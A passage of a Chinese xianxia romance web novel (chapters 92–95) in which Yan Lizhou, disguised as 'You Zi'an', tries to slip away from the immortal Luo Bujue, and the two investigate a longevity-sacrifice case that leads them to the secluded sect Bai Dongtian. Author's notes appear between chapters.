“有些是木事蓝杀的,那些消失的精魄也是木事蓝取走的。”林一天嗤笑一声。 “这没有把握的事,总要有人去试验一下,很正常。” 燕黎舟蹙眉。 用全家上下几十口人的精血魂魄作为引子,来谋求一己所谓长生? 这正常你|妈的正常! 洛不觉自觉替起燕黎舟,丝毫没有一点这案子本身就是他来查的自觉。 “所以,木家上下,包括那些仆役,都成了木事蓝实现野心的祭品?” 林一天痛苦地闭上眼,点了点头,又猛地摇头。 “不,不完全是这样的!” 他忍不住为自己妹夫辩解。 “木事蓝最初或许是想用牲畜或,或抓捕一些低阶妖兽来尝试,但后来……后来事情似乎失控了!” “别院里的东西……根本不像他描述的那样!” “我偶尔听妹妹说过几次,送物资去的下人老说那里阴气重,时常听到诡异的嘶吼。” “当时我就怀疑木事蓝他根本不像是求长生,反倒像是在养什么怪物!” 林一天猛地抓住自己的头发,声音带着哭腔。 一米八的大汉,此刻哭的没有形象。 “我劝过他!我说这是邪道,是违背天理!” “可他不听!他已经被长生迷了心窍!我……我因为害怕,他又是我妹夫。” “我妹妹求我我才帮他遮掩,运送物资……可我没想到……没想到会变成这样啊!” “有关长生,木事蓝是怎么得知的?”洛不觉抓住关键。 “不……不知道,木事蓝对此讳莫如深,只说是机缘所得。” 林一天茫然地摇头。 燕黎舟和洛不觉离开林家,两人都有些沉默。 洛不觉问:“你是怎么知道是关于长生的?” 燕黎舟答:“倒影浮屠有个地方,里面的秘籍上写了好多关于有关长生的。” 他说完抿了下唇:“木事蓝一个商贾,如何能得到连大宗门都严加看管的禁忌知识?” “我怀疑,倒影浮屠和南疆和林府,肯定有什么我们还没有发现的关联。” 洛不觉视线瞥了眼燕黎舟。 “你觉得,是有倒影浮屠和木事蓝有接触?” 燕黎舟顿了一下,轻笑着打哈哈:“哎呀,我也就是猜着玩的。” “倒影浮屠也是之前偶然间去做生意看见过一点。” 燕黎舟顿了下,想:再待在风京现在估计查不出来什么了,得找机会离开查查南疆的那批货是哪里来的。 他抬眼瞥了洛不觉一眼。 两人回到客栈,刚踏入大堂,便看见一个人。 正是黑金。 他依旧捂得严实,整张脸也只露出一双眼睛。 见到燕黎舟,黑金微微颔首,算是行礼,目光在洛不觉身上短暂停留一瞬,便又垂下,假装自己不存在。 黑金是去给燕黎舟调查其他事了,如今回来了,肯定是查的事情有了眉目。 燕黎舟撇了眼洛不觉。 灵光一闪:“杵在这儿当门神呢?碍眼,赶紧该干嘛干嘛去!” 黑金点头,随即身影迅速消失在原地,仿佛从未出现过。 洛不觉将这一幕尽收眼底。 燕黎舟反应很快,语气带着点嫌弃:“家里派来的,死脑筋一个,烦死了,甩都甩不掉。” “这次来肯定是家里人来催我回去了。” 他故作烦躁地摆摆手,然后冲着洛不觉拱手:“那什么,我搁风京的事情也差不多了,就不给洛仙尊添麻烦了。” “我们是时候也该走了。” 说完,燕黎舟转身就想开溜,脚步甚至已经朝着楼梯方向迈了出去。 然而,他刚迈出一步,手腕就被一只手牢牢攥住。 燕黎舟身体一僵,回头对上洛不觉的眼睛。 洛不觉的声音不高:“你去哪?” 燕黎舟试图抽回手,对方握得极紧。 他挣了一下没挣脱,只好维持着这个姿势,强笑道:“自然是回家啊!洛仙尊您贵人事忙,我就不……” “你是我的道侣。”洛不觉又把这句话搬出来。 燕黎舟咬牙:“我父母是不会同意的。” 他努力当着一个渣男。 燕黎舟语气刻意带上不耐烦:“洛仙尊,这道侣不过是闹着玩的,你怎么还当真了?” “我父母若是知道我在外头……咳,跟人结了什么道侣,非得打断我的腿不可!” 他一边说,一边用力想把手抽回来,脚下还悄悄往后挪了半步,浑身上下都写满了“我想跑路”。 洛不觉握着他手腕的力道丝毫未松,闻言,眉梢都未曾动一下,只是目光平静地看着他。 “无妨。” 洛不觉语气淡然,说出的话却让燕黎舟差点噎住。 “我随你回去见父母。” 燕黎舟:“……???” 他瞪大了眼睛,难以置信地看着洛不觉。 “你,你跟我回去见我父母!” “嗯。” 洛不觉应得理所当然,甚至还往前逼近了半步,拉近了两人的距离。 “我不是闹着玩的,既然已经成了道侣,那拜见高堂,天经地义。” “我自会向他们说明,是我执意要与你结为道侣,一切后果,由我承担。” 说着洛不觉顿了顿,目光在燕黎舟因震惊而微张的唇上停留了一瞬,语气认真的补充。 “他们若要打断腿,也是打断我的。” 燕黎舟彻底懵了,脑子里嗡嗡作响。 这,他不是应该在听到“父母不同意”后就识趣放手吗? 怎么还演上不畏强权、情深似海的戏码了?! 更何况燕黎舟哪来的父母? “我父母……他们很凶的!”他试图做最后的挣扎。 “没事。” 燕黎舟彻底没辙了,像只被捏住了后颈皮的猫,偃旗息鼓。 他垮下肩膀,随后又想到了个主意,直了直腰,一脸为难:“其实,我已经有未婚妻了。” “她很好,我不能辜负她!”—— 作者有话说:昨天其实就把想写的纯感情线的那篇文案给摸出来了,但是因为突然得到考试消息一直没发。 等等,等我观望观望 说实话有点怕,怕自己精|虫上脑,很多细节都没有落地,设定也只摸了个大概(刚想的,名字也是现取的) 等我观望观望,能不能发出来还另说,害怕编辑不允许写,也害怕发出来被封掉![闭嘴][闭嘴][闭嘴] 第93章 燕黎舟语气刻意带上几分愧疚。 “她……她很好, 温柔贤淑,对我也是一心一意。我们青梅竹马,父母之命, 我……我不能辜负她!” 他一边说, 一边偷偷观察洛不觉的反应。 然而, 洛不觉只是静静地看着他, 就在燕黎舟被他看得心里发毛, 洛不觉终于开口了。 他的语气依旧平淡,甚至带着一丝不解。 “所以呢?” 燕黎舟:“……啊?” 什么叫所以呢? 洛不觉向前又逼近一步, 两人几乎鼻尖相碰。 “你与我结为道侣, 是在有未婚妻之后?” 燕黎舟:“……” 洛不觉不等燕黎舟再说话,一字一句,清晰无比。 “既已做出选择, 便该承担责任。” “对你的未婚妻,我自会去解释,取得她的谅解。若她不愿,我会补偿, 直至她满意。” 他顿了顿, 仿佛在陈述一个再简单不过的事实, 补充道。 “你既选择了我,便不能再想他人。” “况且你隐瞒未婚妻之事,是你的错,我不追究, 你应该更愧疚于我。” “理应对我负责。” 燕黎舟张了张嘴,半天说不出一个字来。 他看着洛不觉那张脸,猛地用力,这次终于甩开了洛不觉的手。 “洛不觉, 我们才认识几天?比不上我未婚妻……” 他话没说完洛不觉就点头打断了他。 洛不觉:“所以,我们更需要时间去相处,培养好感情。” 燕黎舟被堵得哑口无言,一时找不到反驳。 他狠狠瞪了洛不觉一眼,终究是败下阵来,丢下一句“懒得理你!”,转身便气冲冲地上了楼。 房门被“砰”的一声关上。 燕黎舟抬手揉了揉突突直跳的太阳穴,心里把洛不觉翻来覆去骂了好几遍。 怎么说不清了呢? 是怎么就到了现在这个局面了的呢? 房间里黑金悄无声息的出现。 “主上。”声音一如既往地毫无波澜。 他朝燕黎舟递上一卷卷轴。 燕黎舟深吸一口气,接过卷轴快速浏览。 黑金垂首禀报:“百年前,倒影浮屠宗主了尘走火入魔,意外引发大火。” “当时宗门里的人被宗主拖住,没有来得及逃走,最终导致灭门。” 燕黎舟指尖点了点卷轴上的一个名字。 “了尘的儿子活下来了?” 黑金点头。 “自从倒影浮屠被烧了后,这个孩子就被了尘宗主之前的宗门白洞天收养了,倒影浮屠最近又发展起来可能就是他在背后控制。” “至于了尘宗主那位南疆圣女有没有关于南疆的联系……具体情形被严格封锁,难以深究。” 他顿了顿,继续道。 “那批南疆货的最终经手人,指向一个名为乌索的南疆行商,此人行踪诡秘,与木事蓝接触后便消失在风京,疑似使用了易容或幻术。” “至于蛇妖的踪迹……” 燕黎舟抬了抬手:“蛇妖不用查了。” 他又看了下黑金交给他的那个卷轴。 “了尘的俗家有找到吗?” 黑金:“了尘宗主是被遗弃的孤儿,被白洞天收留后一直待在那里,没有俗家。” 燕黎舟抬头:“这个薛铜现在还在白洞天?” 薛铜就是在大火里生存下来的那个孩子,了尘和南疆圣女的儿子。 黑金:“应该没有离开。” 燕黎舟将卷轴交给黑金:“好,我知道了,收拾一下,我们今晚就离开。” “是。” 黑金应道,身影缓缓融入阴影,准备离去。 他其实想问不用和洛仙尊说一声吗,但是看着他家主人的脸色,到底还是没问出口。 …… 子时刚过,一道几乎与夜色融为一体的黑影,从燕黎舟房间的窗户出来,落地时没有发出丝毫声响。 燕黎舟一身夜行衣,屏息凝神。 他神识在洛不觉房间扫了一圈,那人安安稳稳躺在床上,没有丝毫异常。 燕黎舟心下稍安,怕被洛不觉看出来,他晚饭都没吃。 足尖一点,借着建筑物的阴影,燕黎舟快速向城外而去。 燕黎舟刚刚翻过几个屋檐,一个清冷的声音自身后不远处响起。 “游公子这是去哪?” 燕黎舟浑身一僵,猛地回头。 只见月光下,洛不觉不知何时跟在他身后,白衣胜雪,面容清冷,正静静地看着燕黎舟。 燕黎舟心里咯噔一下。 这人不是应该在房间里安稳睡觉吗?!怎么跟个鬼似的悄无声息就出现在身后了? 他强行压下心头的慌乱,稳住身形,落在屋脊上,转身面对洛不觉,脸上扯出一个惯有的笑容,试图蒙混过关。 “哟,洛仙尊,这么巧?你也出来赏月啊?” 说着燕黎舟指了指天上那轮不算太明亮的月亮。 “今晚月色,还不错哈?” 洛不觉并未理会他这拙劣的借口,目光沉静地落在燕黎舟那一身便于行动的夜行衣上,语气平淡无波。 “不好看。” “我来抓你回去。” 燕黎舟笑容一僵:“……哈哈,什么抓我回去啊?” “你今晚没用晚膳。” 洛不觉换了个话题陈述道:“我备了些点心,回去。” 燕黎舟:“……” “不、不用了!我不饿!” 燕黎舟连忙摆手,脚下不着痕迹地往后挪了半步。 “我就是……就是吃太饱了,出来消消食!” “消食?” 洛不觉重复了一遍,视线扫过他这身标准的夜行装备。 语气依旧没什么起伏:“需要穿着这身,去城外消食?” 燕黎舟被他问得哑口无言,心里急得冒火,面上却只能强装镇定。 “一身黑好看,你管得着吗?” 他开始蛮不讲理,试图胡搅蛮缠过去。 “再说了,我们又不是真的道侣,我去哪儿跟你有什么关系!” 这话一说出口,燕黎舟就有点后悔,因为他看到洛不觉表情不太对。 “我说过。” 洛不觉向前踏出一步,明明动作不快,却带着一股无形的压力,瞬间拉近了两人之间的距离。 “我不是在闹着玩。” 夜风吹拂,带着凉意。 燕黎舟看着他逼近,心跳不受控制地加速。 他知道,今晚想轻易脱身恐怕难了。他眼珠一转,忽然捂着肚子,脸上做出痛苦的表情。 “哎哟!不行了不行了!可能是晚上没吃饭,胃疼!我得赶紧回去躺躺!” 说着,他作势就要溜。 然而,他刚一动,手腕就再次被洛不觉精准地抓住。 洛不觉看着他,眸色很深,仿佛能看穿他所有的伪装。 “既然胃疼,回去,我帮你看看。” “不用!” 燕黎舟下意识脱口而出。 “放心,我略通一点医术。”洛不觉面不改色,另一只手竟真的搭上了他的手腕,指尖微凉。 燕黎舟:“!!!” 他想抽回来,没抽动。 洛不觉微凉的指尖搭在燕黎舟手腕上,仿佛能透过皮肤,感受到他此刻剧烈的心跳。 “我……我没有!”燕黎舟反驳,耳根却不受控制地开始发烫。 洛不觉没说话,只是维持着这个姿势,静静地看着他。 那眼神仿佛在说:你继续编,我看着。 燕黎舟垮下肩膀,自暴自弃道。 “行了行了!我回去!我回去还不行吗!” 洛不觉这才缓缓松开手,却依旧站在他身侧,堵住了他所有可能逃离的路线。 “走吧,我陪你回去。” 燕黎舟:“啧。” 燕黎舟不情不愿地被洛不觉“押”回了客栈。 一路上,他脑子飞快转动,硬走不行,装病失败,看来单独溜走是没戏了。 但这白洞天,他必须去一趟。 回到房间,洛不觉还真不知从哪儿端来了一碟清淡的点心和一碗温热的粥,放在桌上,然后便坐在一旁,摆明了要看着他吃。 燕黎舟看着那粥和点心,又看看洛不觉那副“你不吃我就不走”的架势,心里忽然冒出一个念头。 ——既然甩不掉,那不如……把洛不觉一起带走? 当个保镖? 燕黎舟眼珠转了转,他凑到洛不觉身边,压低声音,仿佛要分享什么惊天大秘密。 “喂,洛不觉,跟你说个正经事。” 洛不觉抬眸看他,静待下文。 “其实我刚得到一条绝密消息。” 燕黎舟表情严肃:“关于倒影浮屠,还有木家那批南疆货的源头。” 他仔细观察着洛不觉的反应,继续添油加醋。 “线索指向一个叫薛铜的人,这人就是了尘宗主的那个儿子!他现在就在白洞天!” 洛不觉顿了一下:“所以你偷偷溜走,是想撇下我去查?” 燕黎舟心虚的抿了下唇。 “嘶,你这样说话有点难听哈。” “刚知道的,刚刚!” “刚刚你去拿粥的时候我知道的。” 言下之意,不是因为这个消息才跑的你不能冤枉我。 洛不觉看着他此地无银三百两的辩解,没有戳穿,只是淡淡道:“所以?” “所以?” 燕黎舟一拍大腿,仿佛洛不觉问了个多么显而易见的问题。 “所以我们得赶紧去白洞天啊!去晚了人跑了怎么办?这可能是破案的关键!” 他努力让自己的眼神显得真诚。 洛不觉沉默地看着他,那目光让燕黎舟心里直打鼓。 片刻后,洛不觉才开口,语气听不出喜怒:“白洞天距此不算近。” “我知道啊!”燕黎舟立刻接话。 “所以我知道了不是立马告诉你了吗?” 洛不觉:“你还知道什么?” 燕黎舟顿了一下,心虚抿唇扭头:“没有了。” “……” 燕黎舟:“……好吧确实还有一点点。” “……” 燕黎舟:“……” 他叹了口气,把自己知道的一五一十道。 洛不觉听完,没继续追问,目光扫过桌上那碗还没动过的粥。 “先把粥喝了。”—— 作者有话说:就只剩下一点点了[彩虹屁] 第94章 燕黎舟立刻端起碗, 咕咚咕咚几口就把温热的粥灌了下去,然后一抹嘴,把空碗亮给洛不觉看。 “喝完了!现在可以走了吧?” 那副急切的样子, 仿佛生怕洛不觉反悔。 洛不觉:“明日清晨出发。” “明天?现在走不行吗?” 洛不觉却是站起身, 走到门边, 显然不打算再继续这个话题。 “早些休息。” 看着洛不觉带上门直接离开。 燕黎舟趴在门上确认洛不觉脚步声走远, 走到窗边。 片刻后, 黑金的身影出现在窗外。 “计划有变。” 燕黎舟压低声音,语速极快。 “明日清晨, 我与洛不觉一同前往白洞天。你提前出发, 暗中跟随,查明薛铜在白洞天的现在情况,不要打草惊蛇。” 燕黎舟顿了一下:“也不要被洛不觉发现。” 他飞快补了一句。 黑金颔首:“是。” 说完身影随即缓缓消散。 安排好后续, 燕黎舟这才重新坐回床上。 毫无睡意。 燕黎舟脑子里反复盘算着接下来的行动。 带着洛不觉一起去,可能会容易引起警惕,但同样……洛不觉在,或许能省去不少麻烦。 毕竟天上白云京的名头还是很好用的。 他叹了口气, 安慰自己想到, 他和衣躺下, 望着帐顶。 然后又起身,从自己储物袋里翻出来几个药丸干吃下去,五官霎时皱巴在一起了。 浑身上下剧烈的疼,要死了一样, 浑身一阵阵发热。 燕黎舟忍住干呕的感觉,强迫自己闭上眼。 翌日。 燕黎舟带着些许倦意,推开房门,洛不觉早就站在门外。 “走吧。”洛不觉言简意赅。 燕黎舟打了个哈欠, 懒洋洋地跟在他身后,在一楼大堂瞥见一个熟悉的身影。 薛三钱背着他那个旧药箱,正站在柜台前,似乎刚吃完饭正准备离开。 见到他们二人,薛三钱挑了挑眉,脸上没什么意外之色,只是淡淡打了个招呼。 “早。” “薛大夫这是要走了?”燕黎舟问。 薛三钱拍了拍药箱。 “嗯。风京这边暂时没什么需要我的了。换个地方,看看有没有人需要治病,赚点钱。” 他说话时,目光在洛不觉和燕黎舟之间扫了个来回,最后落在燕黎舟身上。 “二位这是……也要出门?” 洛不觉微微颔首:“有事。” 薛三钱了然地点点头,并没追问具体去向,只是道:“那便祝二位一路顺风。” 他说完,顿了顿,又像是想起什么,补充了一句,语气带着他惯有的那种略带嘲讽的平淡。 “游公子,多谢这几日的招待,期待我们下一次见面。到时候也欢迎游公子替我结账。” 燕黎舟:“……” 他皮笑肉不笑地回道:“你还是快走吧!” 薛三钱没理会燕黎舟话里的刺意,对着洛不觉略一拱手,便背着药箱,头也不回地走出了客栈大门。 两人吃完饭,来到柜台。 燕黎舟习惯性地就要掏钱袋,洛不觉却抢先一步将一锭银子放在了柜台上,数额远远超出了这些时日的花费。 燕黎舟看了一眼,把自己的钱袋也放在柜台上。 “分开结,谢谢。” 洛不觉没说话,但视线在燕黎舟的那个钱带上停留了一瞬。 两人来到客栈门口,一辆马车已等候在此。 燕黎舟瞥了一眼,没说话,小二此时已经把客栈满客了的那个牌子撤下去了。 他率先钻进马车,找了个角落靠着,闭上眼睛假寐。 洛不觉随后上来,坐在他对面。 马车缓缓启动,驶离了客栈车厢内一时陷入了沉默。 燕黎舟闭着眼,却并未真的睡着。 他能清晰地感受到对面洛不觉投来的目光,存在感极强。 燕黎舟忍不住悄悄将眼睛睁开一条缝,恰好撞进洛不觉眼睛里。 “看什么!” 燕黎舟撇了撇嘴,直接上手侧身把洛不觉的脸掰向一旁。 洛不觉没有阻止他的动作,只是在掰过去后默默转回来,淡淡道:“此去白洞天,需两日路程。” “所以呢?”燕黎舟挑眉。 “所以……” 洛不觉的目光落在他随着马车晃动而微微晃动的脚尖上,语气依旧没什么起伏。 “时间充裕,我们趁这两日……” 燕黎舟心头警铃大作,立刻打断他。 “我要睡觉了!没空跟你扯闲篇!” 他说完,立刻把头扭向车窗那边,用后脑勺对着洛不觉,全身都散发着“拒绝交流”的气息。 洛不觉看着他那副恨不得把自己缩成一团的样子,没再说什么。 马车一路颠簸,燕黎舟起初还强撑着精神,但昨夜确实没睡好,加上马车规律的摇晃,他竟真的迷迷糊糊睡了过去。 不知过了多久,他感觉车身猛地一顿,像是碾过了什么大坑,整个人不受控制地向前倾去。 “唔……” 燕黎舟以为自己坠崖了,被吓的惊醒过来,下意识地伸手想抓住什么稳住身体。 预想中的疼痛并未传来。 洛不觉不知何时已坐到了他身边,手臂稳稳地环住了他,避免了他与车厢的亲密接触。 燕黎舟瞬间清醒,睡意全无。 他猛地抬头,对上洛不觉近在咫尺的脸,甚至能数清他纤长的睫毛。 两人呼吸交融,距离近得过分。 “你……你什么时候过来的!” 燕黎舟像被烫到一样,手忙脚乱地想从他怀里挣脱出来。 洛不觉扶稳燕黎舟,垂下睫毛,声音很轻。 “你变了。” 燕黎舟:“啊……啊?” 他揉了揉刚才被洛不觉碰到的手臂,只觉得那块的皮肤都隐隐发烫。 洛不觉依旧低垂着眼睫:“是你先说喜欢我的,我如你所愿了。” “也是你骗我说你有未婚妻的,我也没有要离开你,反而是你一直推三阻四。” 洛不觉一副被负心汉伤到了的小媳妇模样。 睫毛颤了颤,洛不觉抬起眼睛看向负心汉,明明没有什么表情,可落下燕黎舟眼里就是委屈的不得了。 “她有我好看吗?” 洛不觉道,说完他直接牵起燕黎舟的手放在自己脸颊。 唇浅浅的啄在燕黎舟掌心,眼睛盯着燕黎舟。 “她修为比我高?还是……比我更会照顾你?” 燕黎舟彻底懵了,脑子一片空白。他看着洛不觉那张毫无瑕疵的脸,血液一股脑地往头上涌,脸颊、耳朵、脖子都红透了。 像只被煮熟的虾子。 燕黎舟晃了晃脑袋,想要降低一点脸上的温度。 洛不觉趁机道:“既然没有我好看,也没有我修为高,更不会像我这般……在意你。” 他顿了顿,目光落在燕黎舟因紧张而微微抿起的唇上。 “那你为何,还要想着她?” “和她接触婚约吧。” “和我在一起。” 燕黎舟猛的抽回手,理智回笼。 “不能这么说,她也很好。” 洛不觉手握得更紧:“我会补偿她的。” “她想要什么灵丹、秘籍、法宝,我都能给她。” 洛不觉盯着燕黎舟的视线灼热,一字一句道:“我只要你就够了。” “不可以!” 燕黎舟气急,用力想甩开他的手。 “感情是能用东西换的吗?!你把我当什么了?又把……又把她当什么了!” “那你把我当什么了?” 洛不觉反问,语气依旧平静,说出口的话却惊人。 “一个可以随意宣称喜欢,又可以随意用未婚妻借口推开的人?” 他微微倾身,两人之间的距离再次拉近,鼻尖相触,一上一下。 “游子安。” 洛不觉唤着燕黎舟此刻的名字,声音危险。 “我算什么?” 洛不觉的声音很轻,却像重锤敲在燕黎舟心上。 “你无聊时打发玩耍的东西吗?” 燕黎舟几乎是在他说出口的瞬间:“不是!” “那是什么?” 洛不觉追问,眼神紧紧锁住他,不给他丝毫逃避的空间。 “你若真喜欢我,为何想要逃离我?若真有什么苦衷,为何一开始不肯坦言?现在又推推问问?” 洛不觉死死抓住燕黎舟的手。 “你说喜欢我,我答应你结为道侣。” 洛不觉垂下眼睫,遮住眸中翻涌的情绪,声音低得几乎像是耳语。 “你说你有未婚妻,我也认了,补偿即是。” “可是你说你放不下别人,不想和我在一起。” 洛不觉抬起眼,那双深邃的眸子此刻清晰地映出燕黎舟慌乱无措的倒影。 且只有他一个人。 “游子安,你告诉我。” “你是在玩我吗?” 燕黎舟看着他这副模样,胸口又酸又麻。 他张了张嘴,喉咙像是被什么东西堵住,一个字也说不出来。 他想说未婚妻是假的,想说自己其实是燕黎舟,他们不应该这样,这样是不对的。 可是那样,洛不觉……他是不是会…… 燕黎舟不知道。 洛不觉喜欢谁,“游子安”还是“燕黎舟”? 他真的喜欢洛不觉吗? 洛不觉好不容易恢复了修为,他好不容易才让洛不觉回归平稳。 洛不觉不知道他是妖怪的吧,不知道他是燕黎舟的吧。 燕黎舟一开始只是存着好玩才以“游子安”去接触洛不觉。可是渐渐的,不知道为什么,他是燕黎舟这件事就好像成了一个秘密。 怎么变成现在这幅样子的? 如果他一开始就说他是燕黎舟,是不是就不会发生现在这样荒谬的事情。 他是在玩洛不觉吗? 答案是肯定的。 但又不是…… 无数话语在舌尖滚了又滚。 “洛不觉,我想想可以吗……”燕黎舟低声道。 他受不了洛不觉用这种眼神看他,仿佛他做了什么十恶不赦的事情。 他无所适从,且心乱如麻。 看着燕黎舟眼中明显的慌乱,洛不觉知道,火候差不多了。 他见好就收,没有再逼问,只是缓缓松开了手,重新坐直了身体,将脸转向车窗的方向。 只留给燕黎舟一个沉默而透着几分落寞的侧影。 车厢内再次陷入令人窒息的寂静。 燕黎舟看着洛不觉的背影,心情复杂。 他第一次觉得,自己,好像真的……是一个混|蛋—— 作者有话说:9等了9等了 不知道是不是我现在也有点脆弱,这章我看完都觉得有点点“矫作”了[闭嘴] 这应该是燕黎舟感情的一个高|潮了,盐粒子和萝卜饺99[彩虹屁][烟花] (6号欠的章节我一定补上,谢谢姐姐[爆哭],争取让姐姐一次性看个爽[闭嘴]) 第95章 白洞天。 四大宗门的最后一个宗门, 也是唯一一个不与京城共存,隐世独立的一个宗门。 马车无法直接进入白洞天。 在洛不觉的指引下,两人在一处山谷外下车。 山谷最深处是一片竹林。 穿过竹林, 周遭景象才豁然开朗, 仿佛一脚踏入了另一个世界。 作为四大宗门里最没有存在感的一个, 不仅仅是因为它是个寺庙, 更是这里的和尚僧者并没有和外界交涉的想法。 哪怕是之前魔族入侵的时候。 一个巨大的卡皮巴拉宗门。 与天上白云京的仙气缥缈, 倒影浮屠的庄严肃穆和十二楼兰的神秘异域不同,白洞天更像是一处世外桃源。 花花草草都比别处安静好看。 “这里就是白洞天?”燕黎舟扫视四周。 与他想象中的大相径庭, 更像是个超然物外的修行净土 两人刚踏入这片净土没有多久, 一位眉目慈和的扫地老僧出现在小径前方。 “仙尊,稽首了。” 他并未询问二人来意,只是对着洛不觉微微颔首。 目光随即又落到燕黎舟身上:“远来是客。” “清明大师。” 洛不觉还礼, 身后燕黎舟有模有样的学。 清明大师没有要去问两人身份的意思,转身给两人带路。 清明大师将二人引至一处简陋客舍,奉上清茶,这才开口。 “二位道友此来, 是为寻人, 还是解惑。” 洛不觉放下茶盏, 直言道。 “大师明鉴。我等为寻薛铜,亦为木府之事,望请指点。” 清明大师眼帘微垂,拨动了一下手中的念珠。 “薛铜确在本寺清修, 但白洞天有白洞天的规矩。” 清明大师故意停顿,眼睛在燕黎舟和洛不觉身上来回扫动。 “弟子明白。”洛不觉道。 “什么?”燕黎舟不明白。 清明大师点头:“好。” “什么?” 燕黎舟还是不明白。 “既入白洞天,便需遵此地规矩。老衲有疑,请施主作答, 后老衲必然知无不尽。” 清明大师双手合十对着洛不觉道,也算是间接回答了燕黎舟的疑惑。 随即清明大师起身,洛不觉也是,燕黎舟见状也要跟着站起来,被清明大师安抚下来。 “施主再次等候片刻。” 闻言燕黎舟看了看洛不觉,又重新坐下。 清明大师和洛不觉走到旁边的一个房间。 开门见山直接问:“天上白云京所求超脱,我白洞天求的是宁静,你所以为?” 洛不觉垂下眼睫,答道。 “所求超脱,心无挂碍,万般皆空,自得宁静。所求宁静,心如止水,照见本真,亦是超脱。” “一念之间,密不可分。” 这话说的圆滑,让人挑不出来错处。 清明大师所意并非此,所以追问:“你所求为何?” “唯一人。” “若是对方不愿?” 洛不觉语气没有波澜:“硬求。” 另一边燕黎舟等的无聊,洛不觉和那光头出去半天也不回来,未免有些焦急。 就在燕黎舟等的烦躁时,清明大师推门进来,洛不觉没跟过来。 燕黎舟朝他身后看了好几眼,确认洛不觉确实没在。 清明大师轻笑一声,看透了燕黎舟心中所想:“洛施主在门外侯着。” 燕黎舟:“哦。” 清明大师看着他,慈和的问道:“游施主,若得一宝,可使你心想事成,却需牺牲一无关之人性命,你当如何?” 燕黎舟深吸一口气。 “回大师,晚辈以为,宝是外物,心才是根本。” “若心有所求,当凭自身之力去争、去悟。” “假外物之力已是落了下乘,若再需牺牲无辜,更是入了魔道。此宝非宝,实为心魔诱饵,不取为妙。” “真正的心想事成,应是内心澄明,无欲则刚,无处而不自得。” 清明大师静静听完,同样追问:“若是所得为你挚爱之人性命。” “你倾尽全力,仍不可得,当如何自处?是执着强求,还是放手释然?” 燕黎舟:“……” 燕黎舟愣愣的跟着清明大师走出禅房。 门外,洛不觉静立等候,听到动静这才抬眼看来。 目光先是落在燕黎舟的脸上,随即,视线下移,落在了他身后。 燕黎舟还没缓过神,抬头揉了下自己的脑袋,脑袋之上,两处柔软的触感,能感受到蹭到掌心颤了颤。 他身后,毛茸茸的同色大尾巴没有意识,不受控制地轻轻晃悠。 燕黎舟在看见洛不觉的瞬间就冲过去,伸手在洛不觉面前扯了扯自己头顶的耳朵。 “洛不觉,这是什么?” 他问:“我发霉了吗?” 那对耳朵因他的拉扯抖动起来,身后的尾巴也因主人的焦躁不安的甩动者,燕黎舟脸上一脸不明所以,有种说不出的可爱。 见状洛不觉眼底那抹浅淡的笑意终于抑制不住,轻轻漾开。 他抬手,轻轻握住燕黎舟还在蹂躏自己耳朵的手腕,阻止了他的自残行为。 洛不觉的指尖微凉,触碰到燕黎舟温热的手腕,让燕黎舟猛地一颤。 “不是发霉。” 洛不觉的声音依旧平稳,但细听之下,似乎比平日多了一丝柔和。 清明大师拿着念珠的手举起在胸前。 “白洞天的规矩,违心或答错者变狐一日,尾巴藏不住。” 说完,悄悄撤离。 洛不觉目光扫过那对微微抖动的狐耳,以及那条不安分的大尾巴。 燕黎舟闻言松了口气:“噢噢,会变回来的对吧。” 只要不是永久性的就好。 他这口气刚松下来,就感觉自己的尾巴尖被人不轻不重地捏了一下。 转头就看见罪魁祸首洛不觉掌心握住他尾巴,手掌刚刚好好把尾巴圈起来。 燕黎舟看过来他也没有松手的意思。 燕黎舟:“啧。” 火红色的尾巴扭扭又蹭蹭洛不觉掌心。 “干嘛。”燕黎舟道。 他晃晃尾巴,从洛不觉手里挣脱出来,快走几步离开追上清明大师。 “好了?”清明大师侧头问。 燕黎舟点点头,火红的尾巴在身后晃悠着,他本人对此毫无芥蒂。 “大师,我们来其实是想问问薛铜。” 燕黎舟开门见山。 说话间尾巴仍不消停,毛茸茸的尾尖轻轻扫过跟过来的洛不觉手背。 洛不觉指尖蜷缩了一下,目光也随着落在那条随着主人步伐轻轻摇摆的尾巴上。 清明大师满眼慈爱,闻言缓声道,故作神秘。 “薛铜在后山清修。” “许久不曾出门,或许可以解答二位部分疑惑,但能否得知全部,施主造化。” “后山?” 燕黎舟挑眉,他点点头,拱手道:“多谢大师。” 他转身就顺着清明大师指的方向走去,动作间那对狐耳灵活地转动了一下。 洛不觉跟在他身侧,目光不时掠过那对微微抖动一下的尖耳,以及那条总是在他视野里晃来晃去的、蓬松柔软的尾巴。 火红色的鲜艳。 燕黎舟完全没注意到洛不觉的视线,他一边走一边摸着下巴分析。 “在后山清修?” “这薛铜倒是爱清净,不过,这种往往越说明心里藏着事。” “是爱清净还是逼人眼睛……” 他说着,忽然想到什么,侧头看向洛不觉,那对狐耳也随着偏向一侧。 “洛不觉,你刚才被问了什么问题?” 说着他在洛不觉面前歪了下脑袋,上面的耳朵随着他的动作一同歪倒。 他问道,对自己现在半人半狐的模样显然新奇的不得了。 “你没有被变过狐狸吗?” 洛不觉的视线从他带着笑意的眼睛移到那耳朵,喉结上下滚动了一下,才平淡回道。 “未曾。” 燕黎舟比洛不觉矮一点,那双耳朵几乎是必然会闯进洛不觉眼睛里,微微低眸,就是燕黎舟的眼睛。 鲜艳的红色和清透的琥珀色。 “好吧。” 燕黎舟不知道洛不觉心中所想,转回头,继续往前走,尾巴在他身后悠闲地晃动着。 他坦荡的“炫耀”自己新形态的模样,反倒洛不觉注意力全被那抹红色吸引,比燕黎舟还要在意。 洛不觉的视线随着那摆动的尾巴移动。 等快到了后山,燕黎舟忽然停下脚步,猛地转身,尾巴扫过,毛茸茸的触感一触即离。 “洛不觉。” 燕黎舟凑近了些,压低声音,狐耳也跟着脑袋微微压下来。 “你说,我们直接问薛铜关于他爹和南疆圣女的事,他会不会直接把咱们轰出去?” 他靠得极近,气息拂在洛不觉颈侧,那对狐耳几乎要蹭到洛不觉脸上。 洛不觉的身体僵了一下,呼吸有瞬间的停滞。 他垂下眼帘,避开那过于灼人的视线,声音沉了几分:“见机行事。” 燕黎舟没察觉他的异样,自顾自地点点头,直起身:“也是的呢。” 两人在后山找到一座简朴的茅屋。 屋前开辟了一小片菜园。 一个穿着粗布僧衣,身形清瘦的年轻人正提着水桶,细心地给菜苗浇水。 手上还握着串檀木串。 他眉宇间带着一股挥之不去的忧郁,但眼神却异常平静。 正是薛铜。 薛铜听到脚步声,缓缓直起身。 